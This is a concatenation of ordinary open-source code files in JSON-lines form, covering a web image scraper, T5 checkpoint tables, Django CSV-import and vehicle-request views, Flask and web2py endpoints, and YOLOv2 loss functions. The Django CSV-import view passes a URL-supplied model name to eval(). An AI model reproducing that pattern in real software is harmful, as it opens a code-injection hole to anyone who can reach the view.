r.encoding = \"utf8\"\n soup = BeautifulSoup(r.text,\"lxml\")\n img = soup.find_all(\"img\",{\"class\":\"lazy\"})\n for i in img:\n r = requests.get(i[\"src\"])\n if r.status_code == 200:\n with open(\"img/\"+str(num)+\".jpg\",\"wb\") as f:\n f.write(r.content)\n time.sleep(0.5)\n num += 1\n\n return num\n\n\nif __name__ == \"__main__\":\n num = 0\n for i in range(2,1000):\n try:\n url = \"http://www.woyaogexing.com/touxiang/index_%d.html\"%i\n num = icon_spiders(url,num)\n except:\n num += 1\n continue\n\n","repo_name":"lkk09/icon_spiders","sub_path":"icon_spiders.py","file_name":"icon_spiders.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39078969044","text":"import sys\n\ndef t5paths(size=\"all\"):\n sizes = [\"small\", \"base\", \"large\", \"xl\", \"xxl\"] \n if size not in sizes and size != \"all\":\n print(\"Not a valid model size. Valid sizes are:\"+sizes)\n sys.exit()\n\n paths = []\n for s in sizes:\n if s==size or size==\"all\":\n #if size == \"base\":\n # private = False\n #else:\n private = True\n\n n = \"byt5_\"+s+\"_NCC\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_byt5x_\"+s+\"/\"\n c = p+\"checkpoint_1500000\"\n if s!=\"xl\" and s!=\"xxl\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_scand\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/scandinavian_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1700000\"\n if s!=\"xl\" and s!=\"xxl\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_NCC_lm\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_pluss100k_lm_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1600000\"\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":False,\"size\":s})\n \n n = \"t5_\"+s+\"_NCC_modern_lm\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_pluss200k_balanced_bokmaal_nynorsk_pluss100k_lm_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1800000\"\n if s!=\"xxl\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_NCC_modern\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_pluss200k_balanced_bokmaal_nynorsk_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1700000\"\n if s!=\"xxl\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_NCC_scand\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_pluss200k_scandinavian_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1700000\"\n if s!=\"xxl\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_scand3M\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/scandinavian3k_t5x_\"+s+\"/\"\n c = p+\"checkpoint_3000000\"\n if s!=\"xxl\" and s!=\"small\":\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":private,\"size\":s})\n \n n = \"t5_\"+s+\"_NCC\"\n p = \"gs://north-t5x/pretrained_models/\"+s+\"/norwegian_NCC_plus_English_t5x_\"+s+\"/\"\n c = p+\"checkpoint_1500000\"\n paths.append({\"name\":n,\"path\":p,\"checkpoint\":c,\"private\":False,\"size\":s})\n\n return paths\n\ndef create_index_table(target):\n mdict = dict()\n model = dict()\n \n for m in t5paths():\n mdict[m['name']] ={\"size\":m['size'], 'path': m['path'], 'private': m['private']}\n\n show_private = mdict[target]['private']\n\n sizes=['small','base','large','xl','xxl']\n types=['t5_##_NCC','t5_##_NCC_lm','t5_##_NCC_modern','t5_##_NCC_modern_lm','t5_##_NCC_scand','t5_##_scand','byt5_##_NCC','t5_##_scand3M']\n table=\"| |**Small** <br />_60M_|**Base** <br />_220M_|**Large** <br />_770M_|**XL** <br />_3B_|**XXL** <br />_11B_|\\n|:-----------|:------------:|:------------:|:------------:|:------------:|:------------:|\\n\"\n\n for t in types:\n row = \"|\"\n for s in sizes:\n model = mdict.get(t.replace('##',s))\n if model:\n if model['private'] == False or show_private == True:\n\n if t.replace('##',s) == target:\n row += \"✔|\"\n \n else:\n if t.replace('##',s) == \"t5_base_scand3M\":\n row+='| [🤗](https://huggingface.co/north/'+t.replace('##',s)+')|'\n else:\n row+='[🤗](https://huggingface.co/north/'+t.replace('##',s)+')|'\n else:\n row+\" ❌|\"\n\n if row.replace(\"|\",\"\").replace(\"-\",\"\") != \"\":\n table+=\"|\"+t.replace(\"_##\",\"\").replace(\"byt5\",\"North-byT5\").replace(\"t5\",\"North-T5\").replace(\"_\",\"‑\")+row+\"|\\n\"\n \n bucket = \"\\n## T5X Checkpoint\\nThe original T5X checkpoint is also available for this model in the [Google Cloud Bucket](\"+mdict[target]['path']+\").\\n\"\n\n return table + bucket\n\n\n","repo_name":"peregilk/north-t5","sub_path":"t5paths.py","file_name":"t5paths.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"78"} +{"seq_id":"30868803902","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic.list_detail import object_list, object_detail\nfrom django.contrib import messages\nfrom core.models import Customer, Product, Sale\nfrom csvimporter.models import CSV\nfrom csvimporter.forms import CSVForm, CSVAssociateForm\n\n# TODO: Make this view class based\ndef prepare_view(request, kwargs):\n if not kwargs.get(\"model\"):\n raise ValueError(\"You haven't specified the model\")\n else:\n kwargs[\"app_label\"] = kwargs[\"model\"]._meta.app_label\n kwargs[\"model_name\"] = kwargs[\"model\"]._meta.module_name\n \"\"\"\n kwargs[\"redirect_url\"] = reverse(\n \"admin:%s_%s_changelist\" % (kwargs[\"app_label\"],\n kwargs[\"model_name\"])\n )\n \"\"\"\n\n kwargs[\"extra_context\"] = {\n \"app_label\": kwargs[\"app_label\"],\n \"model_name\": kwargs[\"model_name\"],\n #\"redirect_url\": kwargs[\"redirect_url\"],\n }\n return kwargs\n\n\n@login_required\ndef csv_list(request, **kwargs):\n kwargs = prepare_view(request, kwargs)\n if not kwargs.get(\"template_name\"):\n kwargs[\"template_name\"] = 'csv_list.html'\n return object_list(request,\n queryset=CSV.objects.all(),\n template_name=kwargs[\"template_name\"],\n template_object_name='csv',\n extra_context=kwargs[\"extra_context\"],\n )\n\n\n@login_required\ndef associate(request, object_id, modelname=\"\", **kwargs):\n if not kwargs.get(\"template_name\"):\n kwargs[\"template_name\"] = 'csv_detail.html'\n if not kwargs.get(\"form_class\"):\n kwargs[\"form_class\"] = CSVAssociateForm\n if not modelname:\n raise ValueError(\n \"A model wasn't specified. This is our fault. Please let us know this happened so we can fix it, thanks.\")\n else:\n kwargs[\"model\"] = eval(modelname)\n\n kwargs = prepare_view(request, kwargs)\n instance = get_object_or_404(CSV, pk=object_id)\n if request.method == 'POST':\n form = kwargs[\"form_class\"](instance, request.POST)\n if form.is_valid():\n form.save(request)\n request.user.message_set.create(message='CSV imported.')\n return HttpResponseRedirect(\"/core/%s\" % (modelname.lower()))\n else:\n messages.info(request, 'Uploaded CSV. Please associate fields below.')\n form = CSVAssociateForm(instance)\n kwargs[\"extra_context\"].update({\"form\": form})\n return object_detail(request,\n queryset=CSV.objects.all(),\n object_id=object_id,\n template_name=kwargs[\"template_name\"],\n template_object_name='csv',\n extra_context=kwargs[\"extra_context\"],\n )\n\n\n@login_required\ndef new(request, **kwargs):\n if not kwargs.get(\"template_name\"):\n kwargs[\"template_name\"] = 'new.html'\n if not kwargs.get(\"form_class\"):\n kwargs[\"form_class\"] = CSVForm\n kwargs = prepare_view(request, kwargs)\n if request.method == 'POST':\n form = kwargs[\"form_class\"](kwargs[\"model\"],\n request.POST, request.FILES)\n if form.is_valid():\n modelname = kwargs[\"model\"].__name__\n instance = form.save()\n return HttpResponseRedirect(\n reverse('associate-csv', args=[instance.id, modelname]))\n else:\n form = kwargs[\"form_class\"](kwargs[\"model\"])\n kwargs[\"extra_context\"].update({\"form\": form})\n kwargs[\"extra_context\"].update({\"csv_import_type\": request.get_full_path().split('/')[3]})\n return render_to_response(kwargs[\"template_name\"],\n kwargs[\"extra_context\"],\n context_instance=RequestContext(request)\n )\n","repo_name":"moeburney/trackpattern","sub_path":"csvimporter/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3856,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"36875251103","text":"import gluon.contrib.simplejson\n\ndef index():\n \"\"\"\n example action using the internationalization operator T and flash\n rendered by views/default/index.html or views/generic.html\n\n if you need a simple wiki simply replace the two lines below with:\n return auth.wiki()\n \"\"\"\n response.flash = T(\"Testing the pronto\")\n\n cells=[{\"type\":\"basic.Rect\",\"position\":{\"x\":200,\"y\":30},\"size\":{\"width\":100,\"height\":30},\"angle\":0,\"id\":\"test\",\"z\":1,\"attrs\":{\"rect\":{\"fill\":\"blue\"},\"text\":{\"text\":\"my box\",\"fill\":\"white\"}}}]\n\n cellsjson = gluon.contrib.simplejson.dumps(cells)\n\n return dict(message=T('Hello World'),cellsjson=cellsjson)\n\n\ndef palette():\n #This will setup the basic shapes once we can draw them\n\n response.flash = T(\"Palette\")\n\n cells=[{\"type\":\"basic.Rect\",\"position\":{\"x\":200,\"y\":30},\"size\":{\"width\":100,\"height\":30},\"angle\":0,\"id\":\"test\",\"z\":1,\"attrs\":{\"rect\":{\"fill\":\"blue\"},\"text\":{\"text\":\"my box\",\"fill\":\"white\"}}}]\n\n cellsjson = gluon.contrib.simplejson.dumps(cells)\n return dict(message=T('Hello World'),cellsjson=cellsjson)","repo_name":"DonaldMcC/pronto","sub_path":"controllers/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"8255117150","text":"# Loop through the two list at the same time, comparing current elements from both, add the smaller and non-dup one to final list\n# how to decide it is non-dup: comparing the to-be added smaller element with the last element in final list.\ndef merge_list(l1, l2):\n i = 0\n j = 0\n result = []\n while i < len(l1) and j < len(l2):\n print('l1[{}] is: {}, l2[{}] is : {}'.format(i, l1[i], j, l2[j]))\n print(l1[i] <= l2[j])\n if l1[i] <= l2[j]:\n # if result is empty, directly append.\n if len(result) == 0 or result[-1] != l1[i]:\n result.append(l1[i])\n print(i, result)\n i += 1\n else:\n if len(result) == 0 or result[-1] != l2[j]:\n result.append(l2[j])\n print(j, result)\n j += 1\n \n while i < len(l1):\n if len(result) == 0 or result[-1] != l1[i]:\n result.append(l1[i])\n i += 1\n \n while j < len(l2):\n if len(result) == 0 or result[-1] != l2[j]:\n result.append(l2[j])\n j += 1\n \n return result\n\ndef merge_list1(l1, l2):\n return sorted(set(l1+l2))\nresult = merge_list([1,1,2,4], [2,3,5])\nprint(result)\n","repo_name":"smallfishxz/Practice_Algorithm","sub_path":"List/Merge_SortedLists.py","file_name":"Merge_SortedLists.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"2366873873","text":"from flask import Blueprint, jsonify, request\n\necho = Blueprint('v1_echo', __name__, url_prefix='/v1/echo')\n\n\n@echo.route('/', methods=['GET', 'POST'])\ndef echo_():\n if request.method == 'GET':\n return jsonify({'result': 'ok'})\n\n if request.method == 'POST':\n data = request.json\n return_data = {'result': 'post message = ' + data['msg']}\n return jsonify(return_data)\n","repo_name":"airiest/flask-minimal-app","sub_path":"api/v1/echo.py","file_name":"echo.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"10664063135","text":"import torch\n\nfrom utils.pytorch_util import calculate_iou\nfrom utils.pytorch_util import convert_box_from_hw_to_yx\n\ndevice = 'cuda:0' if torch.cuda.is_available() else 'cpu'\n\n\ndef yolo_pretrain_custom_loss(predict, target):\n losses = -1 * (target * torch.log(predict + 1e-15) + (1 - target) * torch.log(1 - predict + 1e-15))\n batch = losses.shape[0]\n loss = losses.sum() / batch\n\n return loss\n\n\ndef yolov2_custom_loss_1(predict, target, anchor_boxes, num_bbox_predict, num_classes, lambda_coord=5, lambda_noobj=.5):\n \"\"\"\n :param predict: tensor, [batch, height, width, (cy, cx, h, w, p) * num bounding boxes]\n :param target: tensor, [batch, height, width, (cy, cx, h, w, p) * num bounding boxes]\n :param anchor_boxes: tensor, [height, width, (y, x, h, w)]\n :param num_bbox_predict: int\n :param num_classes: int\n :param lambda_coord: float\n :param lambda_noobj: float\n\n :return: float tensor, [float]\n \"\"\"\n NUM_BATCH, H, W = predict.shape[:3]\n\n pred = predict.reshape(NUM_BATCH, -1, 5 + num_classes) # [num batch, h * w * 5(num predict bbox), 5(num coords) + num classes)]\n tar = target.reshape(NUM_BATCH, -1, 5 + num_classes) # [num batch, h * w * 5(num predict bbox), 5(num coords) + num classes)]\n anc = anchor_boxes.reshape(-1, 4)\n\n # obj_responsible_mask = torch.zeros(NUM_BATCH, H * W, 5).to(device)\n\n # for i in range(num_bbox_predict):\n # obj_responsible_mask[:, :, :, i] = target[:, :, :, 4]\n\n # Get responsible masks\n pred_bboxes = pred[:, :, :4]\n pred_probs = pred[:, :, 4]\n\n tar_bboxes = tar[:, :, :4]\n tar_probs = tar[:, :, 4] # [num batch, h * w * 5(num predict bbox)]\n\n # pred_y1 = pred_bboxes[:, :, 0] - .5 * pred_bboxes[:, :, 2]\n # pred_x1 = pred_bboxes[:, :, 1] - .5 * pred_bboxes[:, :, 3]\n # pred_y2 = pred_bboxes[:, :, 0] + pred_bboxes[:, :, 2] * anc[:, :, 2]\n # pred_x2 = pred_bboxes[:, :, 1] + pred_bboxes[:, :, 3] * anc[:, :, 3]\n pred_y = pred_bboxes[:, :, 0] + anc[:, 0]\n pred_x = pred_bboxes[:, :, 1] + anc[:, 1]\n pred_h = pred_bboxes[:, :, 2] * anc[:, 2]\n pred_w = pred_bboxes[:, :, 3] * anc[:, 3]\n\n pred_y1 = pred_y - .5 * pred_h\n pred_x1 = pred_x - .5 * pred_w\n pred_y2 = pred_y + pred_h\n pred_x2 = pred_x + pred_w\n\n pred_bboxes = torch.cat([pred_y1.unsqueeze(2), pred_x1.unsqueeze(2), pred_y2.unsqueeze(2), pred_x2.unsqueeze(2)], dim=2)\n\n tar_y = tar_bboxes[:, :, 0] + anc[:, 0]\n tar_x = tar_bboxes[:, :, 1] + anc[:, 1]\n tar_h = tar_bboxes[:, :, 2] * anc[:, 2]\n tar_w = tar_bboxes[:, :, 3] * anc[:, 3]\n\n # tar_y1 = tar_bboxes[:, :, 0] - .5 * tar_bboxes[:, :, 2]\n # tar_x1 = tar_bboxes[:, :, 1] - .5 * tar_bboxes[:, :, 3]\n # tar_y2 = tar_bboxes[:, :, 0] + tar_bboxes[:, :, 2] * anc[:, 2]\n # tar_x2 = tar_bboxes[:, :, 1] + tar_bboxes[:, :, 3] * anc[:, 3]\n\n tar_y1 = tar_y - .5 * tar_h\n tar_x1 = tar_x - .5 * tar_w\n tar_y2 = tar_y + tar_h\n tar_x2 = tar_x + tar_w\n\n tar_bboxes = torch.cat([tar_y1.unsqueeze(2), tar_x1.unsqueeze(2), tar_y2.unsqueeze(2), tar_x2.unsqueeze(2)], dim=2)\n\n # for idx1 in range(NUM_BATCH):\n # for idx2 in range(13 * 13 * 5):\n # if tar[idx1, idx2, 0] != .5:\n # print(f'{idx1 + 1} {pred[idx1, idx2, :5].detach().cpu().numpy()}, {tar[idx1, idx2, :5].detach().cpu().numpy()}')\n\n ########## Original (start) ##########\n indices_valid = torch.where(tar_probs > 0)\n # pred_bboxes_valid = pred_bboxes[indices_valid].reshape(NUM_BATCH, -1, 4)\n # tar_bboxes_valid = tar_bboxes[indices_valid].reshape(NUM_BATCH, -1, 4)\n pred_bboxes_valid = pred_bboxes[indices_valid].reshape(-1, 4)\n tar_bboxes_valid = tar_bboxes[indices_valid].reshape(-1, 4)\n\n ious_valid = calculate_iou(pred_bboxes_valid, tar_bboxes_valid, dim=1).reshape(-1)\n\n ious = torch.zeros(NUM_BATCH, H * W * 5).to(device) # [num batch, h * w * 5(num predict bbox)]\n ious[indices_valid] = ious_valid\n ious = ious.reshape(NUM_BATCH, H * W, 5)\n ########## Original (end) ##########\n ########## Changed (start) ##########\n ious = calculate_iou(pred_bboxes, tar_bboxes, dim=2).reshape(NUM_BATCH, -1, 5)\n ########## Changed (end) ##########\n\n\n # ious_temp = ious.reshape(NUM_BATCH, -1)\n # for idx1 in range(NUM_BATCH):\n # for idx2 in range(13 * 13 * 5):\n # if tar_probs[idx1, idx2].detach().cpu().numpy() > 0:\n # print('[{}] {}'.format(idx1, ious_temp[idx1, idx2].detach().cpu().numpy()))\n\n indices_argmax_ious = torch.argmax(ious, dim=2)\n idx1 = []\n for i in range(indices_argmax_ious.shape[0]):\n idx1 += [i for _ in range(indices_argmax_ious.shape[1])]\n\n idx2 = []\n for i in range(indices_argmax_ious.shape[0]):\n idx2 += [j for j in range(indices_argmax_ious.shape[1])]\n\n idx3 = indices_argmax_ious.reshape(-1).squeeze()\n\n obj_responsible_mask = torch.zeros(NUM_BATCH, H * W, 5).to(device) # [num batch, h * w, 5(num predict bbox)]\n obj_responsible_mask[idx1, idx2, idx3] = 1\n ########## Added (start) ########## - 2021.03.03\n obj_responsible_mask *= tar_probs.reshape(NUM_BATCH, -1, 5)\n ########## Added (end) ########## - 2021.03.03\n # obj_responsible_mask[indices_valid] = 1\n obj_responsible_mask = obj_responsible_mask.reshape(NUM_BATCH, -1, 5)\n\n # for i in range(NUM_BATCH):\n # for j in range(13 * 13):\n # if 1 in obj_responsible_mask[i, j]:\n # print('[{}] ({}) {}'.format(i, j, obj_responsible_mask[i, j]))\n\n ########## Original (start) ########## - 2021.03.02\n # no_obj_responsible_mask = torch.zeros(NUM_BATCH, H * W, 5).to(device)\n # no_obj_responsible_mask[indices_argmax_ious[:-1]] = 1\n # no_obj_responsible_mask[indices_argmax_ious] = 0\n ########## Original (end) ########## - 2021.03.02\n ########## Changed (start) ########## - 2021.03.02\n no_obj_responsible_mask = 1 - obj_responsible_mask\n ########## Changed (end) ########## - 2021.03.02\n\n # Get coordinate loss(1)\n loss_coord = torch.square(pred[:, :, 0] - tar[:, :, 0]) + \\\n torch.square(pred[:, :, 1] - tar[:, :, 1]) + \\\n torch.square(torch.sqrt(pred[:, :, 2]) - torch.sqrt(tar[:, :, 2])) + \\\n torch.square(torch.sqrt(pred[:, :, 3]) - torch.sqrt(tar[:, :, 3]))\n loss_coord *= lambda_coord * obj_responsible_mask.reshape(NUM_BATCH, -1)\n\n # for i in range(pred.shape[1]):\n # if tar[0, i, 4] == 1:\n # print(pred[0, i, 4], tar[0, i, 4], ious.reshape(NUM_BATCH, -1)[0, i])\n\n # Get confidence loss(2)\n loss_confidence = obj_responsible_mask.reshape(NUM_BATCH, -1) * torch.square(pred[:, :, 4] - tar[:, :, 4] * ious.reshape(NUM_BATCH, -1)) + \\\n lambda_noobj * no_obj_responsible_mask.reshape(NUM_BATCH, -1) * \\\n torch.square(pred[:, :, 4] - tar[:, :, 4])\n\n # for idx1 in range(NUM_BATCH):\n # for idx2 in range(13 * 13 * 5):\n # if obj_responsible_mask.reshape(NUM_BATCH, -1)[idx1, idx2] == 1:\n # print(f'PRED: {pred[idx1, idx2, 4]}, TAR: {tar[idx1, idx2, 4] * ious.reshape(NUM_BATCH, -1)[idx1, idx2]}')\n\n # ious_temp = ious.reshape(NUM_BATCH, -1)\n # obj_mask_temp = obj_responsible_mask.reshape(NUM_BATCH, -1)\n # no_obj_mask_temp = no_obj_responsible_mask.reshape(NUM_BATCH, -1)\n # for i in range(NUM_BATCH):\n # for j in range(13 * 13 * 5):\n # if obj_mask_temp[i, j] == 1:\n # print('[{}] {:.5f} {} {:.5f}'.format(i + 1, pred[i, j, 4].detach().cpu().item(), tar[i, j, 4].detach().cpu().item(), ious_temp[i, j].item()))\n # if no_obj_mask_temp[i, j] == 1:\n # print('{:.5f} {} / {} {}'.format(\n # pred[i, j, 4].detach().cpu().item(), tar[i, j, 4].detach().cpu().item(), obj_mask_temp[i, j], no_obj_mask_temp[i, j]))\n\n\n # Get class loss(3)\n loss_class = torch.square(pred[:, :, 5:] - tar[:, :, 5:])\n ########## Original (start) ########## - 2021.03.02\n # loss_class = loss_class.reshape(NUM_BATCH, H * W, -1)\n ########## Original (end) ########## - 2021.03.02\n loss_class = torch.sum(loss_class, dim=2)\n ########## Original (start) ########## - 2021.03.02\n # loss_class *= responsible_mask.reshape(NUM_BATCH, -1)\n ########## Original (end) ########## - 2021.03.02\n ########## Changed (start) ########## - 2021.03.02\n loss_class *= obj_responsible_mask.reshape(NUM_BATCH, -1)\n ########## Changed (end) ########## - 2021.03.02\n\n # for i in range(NUM_BATCH):\n # for j in range(13 * 13):\n # for m in range(5):\n # if loss_class.reshape(NUM_BATCH, -1, 5)[i, j, m] != 0:\n # print(i, j, m, loss_class.reshape(NUM_BATCH, -1, 5)[i, j, m])\n\n # Sum up all the losses\n loss_coord = loss_coord.sum() / NUM_BATCH\n loss_confidence = loss_confidence.sum() / NUM_BATCH\n loss_class = loss_class.sum() / NUM_BATCH\n loss = loss_coord + loss_confidence + loss_class\n\n # if loss.detach().cpu().item() > 1000:\n # print('bbox : ', tar_bboxes_valid)\n # print('probs : ', tar_probs)\n\n return loss, loss_coord, loss_confidence, loss_class\n\n\ndef yolov2_custom_loss_2(predict, target, anchor_boxes, num_bbox_predict, num_classes, lambda_coord=5, lambda_noobj=.5):\n \"\"\"\n :param predict: tensor, [batch, height, width, (cy, cx, h, w, p) * num bounding boxes]\n :param target: tensor, [batch, height, width, (cy, cx, h, w, p) * num bounding boxes]\n :param num_bbox_predict: int\n :param num_classes: int\n :param lambda_coord: float\n :param lambda_noobj: float\n\n :return: float tensor, [float]\n \"\"\"\n\n h, w = predict.shape[1:3]\n\n coord_loss = torch.zeros(1).to(device)\n confidence_loss = torch.zeros(1).to(device)\n class_loss = torch.zeros(1).to(device)\n\n n_batch = predict.shape[0]\n for b in range(n_batch):\n obj_responsible_mask = torch.zeros(h, w, num_bbox_predict).to(device)\n no_obj_responsible_mask = torch.zeros(h, w, num_bbox_predict).to(device)\n\n # Get responsible box masks\n for i in range(num_bbox_predict):\n obj_responsible_mask[:, :, i] = target[b, :, :, (5 + num_classes) * i + 4]\n no_obj_responsible_mask[:, :, i] = target[b, :, :, (5 + num_classes) * i + 4]\n\n for s1 in range(7):\n for s2 in range(7):\n if obj_responsible_mask[s1, s2, 0] == 1:\n ious = torch.zeros(num_bbox_predict)\n\n for n in range(num_bbox_predict):\n box_temp = convert_box_from_hw_to_yx(predict[b, s1, s2, (5 + num_classes) * n:(5 + num_classes) * n + 4]).to(device)\n gt = target[b, s1, s2, :4]\n ious[n] = calculate_iou(box_temp, gt)\n\n idx_max_iou = ious.argmax().item()\n\n for n in range(num_bbox_predict):\n if n != idx_max_iou:\n obj_responsible_mask[s1, s2, n] = 0\n else:\n no_obj_responsible_mask[s1, s2, n] = 0\n\n responsible_mask = torch.zeros(h, w).to(device)\n for n in range(num_bbox_predict):\n responsible_mask += obj_responsible_mask[:, :, n]\n\n # Calculate losses\n coord_loss_batch = torch.zeros(1).to(device)\n confidence_loss_batch = torch.zeros(1).to(device)\n class_loss_batch = torch.zeros(1).to(device)\n\n for i in range(num_bbox_predict):\n # Coordinate loss\n coord_losses_temp = torch.square(predict[b, :, :, (5 + num_classes) * i] - target[b, :, :, (5 + num_classes) * i]) \\\n + torch.square(predict[b, :, :, (5 + num_classes) * i + 1] - target[b, :, :, (5 + num_classes) * i + 1]) \\\n + torch.square(torch.sqrt(predict[b, :, :, (5 + num_classes) * i + 2]) - torch.sqrt(target[b, :, :, (5 + num_classes) * i + 2])) \\\n + torch.square(torch.sqrt(predict[b, :, :, (5 + num_classes) * i + 3]) - torch.sqrt(target[b, :, :, (5 + num_classes) * i + 3]))\n coord_losses_temp *= obj_responsible_mask[:, :, i]\n coord_loss_batch += coord_losses_temp.sum()\n\n # Confidence loss\n confidence_losses_temp = torch.square(predict[b, :, :, (5 + num_classes) * i + 4] - target[b, :, :, (5 + num_classes) * i + 4])\n confidence_loss_batch += (confidence_losses_temp * obj_responsible_mask[:, :, i] \\\n + lambda_noobj * confidence_losses_temp * no_obj_responsible_mask[:, :, i]).sum()\n\n # Class loss\n class_losses_temp = torch.square(predict[b, :, :, (5 + num_classes) * i + 5:(5 + num_classes) * (i + 1)] -\n target[b, :, :, (5 + num_classes) * i + 5:(5 + num_classes) * (i + 1)]).sum(dim=2)\n class_loss_batch += (responsible_mask * class_losses_temp).sum()\n\n coord_loss += coord_loss_batch\n confidence_loss += confidence_loss_batch\n class_loss += class_loss_batch\n\n loss = (coord_loss + confidence_loss + class_loss) / n_batch\n # print(coord_loss.detach().cpu().item(), confidence_loss.detach().cpu().item(), class_loss.detach().cpu().item())\n\n return loss, coord_loss / n_batch, confidence_loss / n_batch, class_loss / n_batch\n\n","repo_name":"tjwldnjss13/yolov2-mobile-pytorch","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":13336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"70249163771","text":"from django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.views import logout_then_login\nfrom django.shortcuts import render\n\nfrom .forms import CarburantForm, EntretientForm, CarburantTraitement\nfrom .models import Carburant, Entretient, TraitementCarburant\n\n\n# Create your views here.\n\n\ndef welcome(request):\n template_name='client.html'\n return render(request , template_name )\n\n@login_required\ndef welcome_admin(request):\n template_name='index.html'\n nb_carb=Carburant.objects.all().filter(traite=False).count()\n nb_carbt=Carburant.objects.all().filter(traite=True).count()\n nb_entr=Entretient.objects.all().filter(traite=False).count()\n nb_entrt=Entretient.objects.all().filter(traite=True).count()\n context = {'nb_carb': nb_carb, 'nb_carbt': nb_carbt, 'nb_entr': nb_entr, 'nb_entrt':nb_entrt}\n return render(request , template_name, context )\n\ndef login(request):\n template_name='login.html'\n return render(request , template_name )\n\ndef forgot_psw(request):\n template_name='forgot-password.html'\n return render(request , template_name )\n\n@login_required\ndef rapport_mensuel(request):\n template_name='charts.html'\n return render(request , template_name )\n\ndef error404(request):\n template_name='404.html'\n return render(request , template_name )\n\n@login_required\ndef carburant_affiche(request):\n query_results=Carburant.objects.all().filter(traite=False)\n template_name='tables2.html'\n context={\"query_results\":query_results}\n return render(request , template_name ,context)\n\n@login_required\ndef carburant_traffiche(request):\n query_results=Carburant.objects.all().filter(traite=True)\n template_name='tables2.html'\n context={\"query_results\":query_results}\n return render(request , template_name ,context)\n\n@login_required\ndef entretient_affiche(request):\n query_results=Entretient.objects.all().filter(traite=False)\n template_name='tables.html'\n context={\"query_results\":query_results}\n return render(request , template_name ,context)\n\n@login_required\ndef entretient_traffiche(request):\n query_results=Entretient.objects.all().filter(traite=True)\n template_name='tables.html'\n context={\"query_results\":query_results}\n return render(request , template_name ,context)\n\n@login_required\ndef carburant_traitement(request, id):\n form = CarburantTraitement(request.POST or None)\n result= Carburant.objects.get(id=id)\n if form.is_valid():\n obj = TraitementCarburant.objects.create(**form.cleaned_data)\n obj.save()\n form = CarburantTraitement()\n #print('data valid')\n else:\n print('data is not valid')\n context = {'form': form, 'result':result}\n template_name = 'traitement-Carburant.html'\n return render(request, template_name, context)\n\ndef carburant_save(request):\n form = CarburantForm(request.POST or None)\n if form.is_valid():\n obj=Carburant.objects.create(** form.cleaned_data)\n obj.save()\n form = CarburantForm()\n print('data valid')\n else: print('data is not valid')\n context={'form': form}\n template_name = 'carburant.html'\n return render(request, template_name, context)\n\n\ndef entretient_save(request):\n form = EntretientForm(request.POST or None)\n if form.is_valid():\n obj = Entretient.objects.create(**form.cleaned_data)\n obj.save()\n form = EntretientForm()\n print('data valid')\n else:\n print('data is not valid')\n context = {'form': form}\n template_name = 'entretient.html'\n return render(request, template_name, context)\n\ndef login_view(request):\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(request, username=username, password=password)\n if user is not None:\n template_name='index.html'\n login(request, user)\n return render(request,template_name)\n else:\n print('login none ')\n return 0\n\ndef logout_view(request):\n logout(request)\n template_name='login.html'\n return render(request, template_name)\n\n\ndef logoutTlogin(request):\n return logout_then_login(request, login_url='/login')\n","repo_name":"Hadjer711/Demande-carburant-entretient-pour-v-hicule-de-service-","sub_path":"demande/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4256,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"15943158612","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\nimport re\nimport logging\n\ndef scrape_table_and_footnotes(url = 'https://cdn-dev.economistdatateam.com/jobs/pds/code-test/index.html'):\n \"\"\"Scrape html table and footnotes\n\n Parameters:\n url (str) : url of website containing polling data\n\n Returns:\n df_rawdata (DataFrame) : contains content of html table as strings\n footnotes 